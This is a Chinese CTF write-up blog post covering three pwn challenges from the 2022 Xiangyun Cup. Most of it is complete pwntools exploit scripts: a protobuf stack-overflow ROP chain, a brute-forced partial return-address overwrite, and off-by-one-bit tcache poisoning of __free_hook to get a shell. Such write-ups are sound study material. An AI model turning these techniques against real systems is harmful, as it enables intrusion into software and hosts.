• 【pwn】2022 祥云杯 部分wp


    【pwn】2022 祥云杯 部分wp

    前言

    又是一年的祥云杯,相比去年我啥也不会写,今年起码写了几个签到

    又被队友带飞咯

    protool

    Google的Protobuf,参考学习连接 https://bbs.pediy.com/thread-270004.htm

    发现了栈溢出,protobuf的内容解析后会送到栈里,但是username和password一定要admin

    username和password中不能包含"\x00",所以rop的话,得考虑绕过"\x00"

    因为是while 1,所以可以每次输入错误的username和password进行一次写栈,但是注意到不能携带\x00,所以需要从下向上写rop链,protobuf转化的时候会在最后给上一个\x00,这样开源每次从后往前少写一个字节,这样最后一个字节就被覆盖成了\x00

    最后倒着写一个execve(“/bin/sh\x00”,0,0)就可以get shell了

    from pwntools import *
    from ctf_pb2 import *
    
    init("./protocol")
    
    ret = 0x000000000040101A
    pop_rax_ret = 0x00000000005bdb8a
    pop_rdi_ret = 0x0000000000404982
    pop_rsi_ret = 0x0000000000588BBE
    pop_rdx_ret = 0x000000000040454F
    pop_rcx_ret = 0x0000000000475DA3
    syscall = 0x0000000000403C99
    write_addr = 0x5A2E70
    read_addr = 0x5A2F10
    rw_addr = 0x81A400
    bss = 0x81A360
    
    
    
    '''
    b *0x407743
    payload = flat([
        pop_rdi_ret,"/bin/sh\x00",
        pop_rsi_ret, 0,
        pop_rdx_ret, 0,
        pop_rax_ret, 59,
        syscall
    ])
    '''
    
    def write(payload):
        p = pwn()
        p.username = b"admin"
        p.password = payload
        sd = p.SerializeToString()
        sa("Login:", sd)
        time.sleep(0.2)
    
    write(b"b"*0x248 + b"b"*8*8 + p8(0x99) +p8(0x3c)+ p8(0x40))    # syscall = 0x0000000000403C99
    
    for i in range(1,8):
        write(b"b"*0x248 + b"b"*(8*8-i)) 
    write(b"b"*0x248 + b"b"*8*7 + p8(59))                        # 59
    
    for i in range(1,8):
        write(b"b"*0x248 + b"b"*(8*7-i)) 
    write(b"b"*0x248 + b"b"*8*6 + p8(0x8a) +p8(0xdb)+ p8(0x5b))    # pop_rax_ret = 0x00000000005bdb8a
    
    for i in range(1,8):
        write(b"b"*0x248 + b"b"*(8*6-i)) 
    write(b"b"*0x248 + b"b"*8*5)                                   # 0
    
    for i in range(1,8):
        write(b"b"*0x248 + b"b"*(8*5-i)) 
    write(b"b"*0x248 + b"b"*8*4 + p8(0xbe) + p8(0x8b) + p8(0x58))  # pop_rsi_ret = 0x0000000000588BBE
    
    for i in range(1,8):
        write(b"b"*0x248 + b"b"*(8*4-i)) 
    write(b"b"*0x248 + b"b"*8*3)                                   # 0
    
    for i in range(1,8):
        write(b"b"*0x248 + b"b"*(8*3-i)) 
    write(b"b"*0x248 + b"b"*8*2 + p8(0x4f) + p8(0x45) + p8(0x40))  # pop_rdx_ret = 0x000000000040454F
    
    for i in range(1,8):
        write(b"b"*0x248 + b"b"*(8*2-i)) 
    write(b"b"*0x248 + b"b"*8*1 + p8(0x6f) + p8(0xa3) + p8(0x81))  # binsh = 0x81a36f
    
    for i in range(1,8):
        write(b"b"*0x248 + b"b"*(8*1-i)) 
    write(b"b"*0x248 + p8(0x82) + p8(0x49) + p8(0x40))   # pop_rdi_ret = 0x0000000000404982
    
    p = pwn()
    p.username = b"admin"
    p.password = b"admin"
    sd = p.SerializeToString()
    # dbg()
    # time.sleep(5)
    sa("Login:", sd + b"\x00" + b"/bin/sh\x00")
    
    
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83

    01fcd7e2-39fa-4c23-8e7d-0c609c4b1139

    unexploitable

    第一次返回复写成0x7d1的位置,跳过push rbp,这样调解栈帧可以让下次的ret address成为0x7f开头的libc_start_main+231的位置,之后就是爆破两字节复写one_gadget,使用0xfc结尾的符合shell要求

    from pwntools import *
    
    
    init("./unexploitable")
    
    def pwn():
        s(b"\x00"*0x18 + p8(0xd1) + p8(0x07))
        # dbg()
        # time.sleep(5)
        s(b"\x00"*0x18 + p8(0xfc) + p8(0x12) + p8(0x34))
        sl("ls")
        tmp = pwnio.io.recv(1,timeout=1)
        print(tmp)
        if not tmp or tmp==b'*':
            raise
        ia()
        
    hack(pwn,cls=False)
    # pwn()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    脸黑,和队友开了两个靶机爆破了两天…队友脸白,穿了

    13197d42-13fd-489d-a5e3-c06cb38f99e9

    bitheap

    Off by one bit,edit的时候会多写一位,可以把1改为0

    img

    本题的难点在于content的部分需要使用二进制形式表示

    改一个used位1为0,构造一个unsorted bin,切割这个unsorted bin,修改堆块中之前布置好的freed tecache,修改tecache的fd为free_hook,申请到free_hook,改为system,最后free(“/bin/sh”)获取shell

    from pwntools import *
    
    init("./bitheap")
    
    # context.log_level = "debug"
    cmd = lambda idx: sla("Your choice: ", str(idx))
    
    def add(idx, size):
        cmd(1)
        sla("Index:", str(idx))
        sla("Size:", str(size))
        
    def edit(idx, content):
        cmd(2)
        sla("Index:", str(idx))
        sa("Content:", content)
    
    def show(idx):
        cmd(3)
        sla("Index:", str(idx))
    
    def free(idx):
        cmd(4)
        sla("Index", str(idx))
        
    
    add(0,0x80)
    add(1,0x18)
    add(2,0xf0)
    add(3,0x18)
    
    for i in range(7): 
        add(i+4,0x80)
    for i in range(7): 
        free(i+4) 
        add(i+4,0xf0) 
    for i in range(7): 
        free(i+4)
        
    free(0)
    edit(1, bin(0xffffffff)[2:][::-1]*2*2 + bin(0xb0)[2:].rjust(64,"0")[::-1] + "0")
    free(1)
    free(2)
    
    add(0, 0xb0)
    show(0)
    
    cnt = l64()
    info("cnt", cnt)
    pwnio.libc.address = cnt - (0x7f382b625e40-0x7f382b23a000)
    info("libc_addr", pwnio.libc.address)
    
    free_hook = pwnio.libc.sym["__free_hook"]
    ogs = [0x4f2a5,0x4f302, 0x10a2fc]
    ogs = [x + pwnio.libc.address for x in ogs]
    system_addr = pwnio.libc.sym["system"]
    
    
    edit(0,bin(0xffffffff)[2:][::-1]*2*2*8+bin(0xffffffff)[2:][::-1]*2 + bin(0x20)[2:].rjust(64,"0")[::-1] + bin(free_hook).rjust(64,"0")[::-1] )
    
    add(1,0x18)
    
    add(2,0x18)
    edit(2,bin(system_addr)[2:].rjust(64,"0")[::-1])
    
    
    edit(1,bin(0x68732f6e69622f).rjust(64,"0")[::-1])
    # dbg()
    free(1)
    
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72

    726a96d3-2403-40ce-bbe4-d33b0cfa1b09

  • 相关阅读:
    Sqlmap 22.05.22.02
    【技术实战】Vue功能样式实战【四】
    大数据技术之SparkCore
    Everything 一款功能强大的搜索工具
    数据分析实际案例之:pandas在泰坦尼特号乘客数据中的使用
    Uniapp的APP端实现本地离线缓存
    ahooks 是怎么处理 DOM 的?
    【Web漏洞探索】外部实体注入漏洞
    视频监控/视频汇聚/安防视频监控平台EasyCVR如何将默认快照的raw格式改为jpg/base64格式?
    基础Redis-结构与命令
  • 原文地址:https://blog.csdn.net/woodwhale/article/details/127612070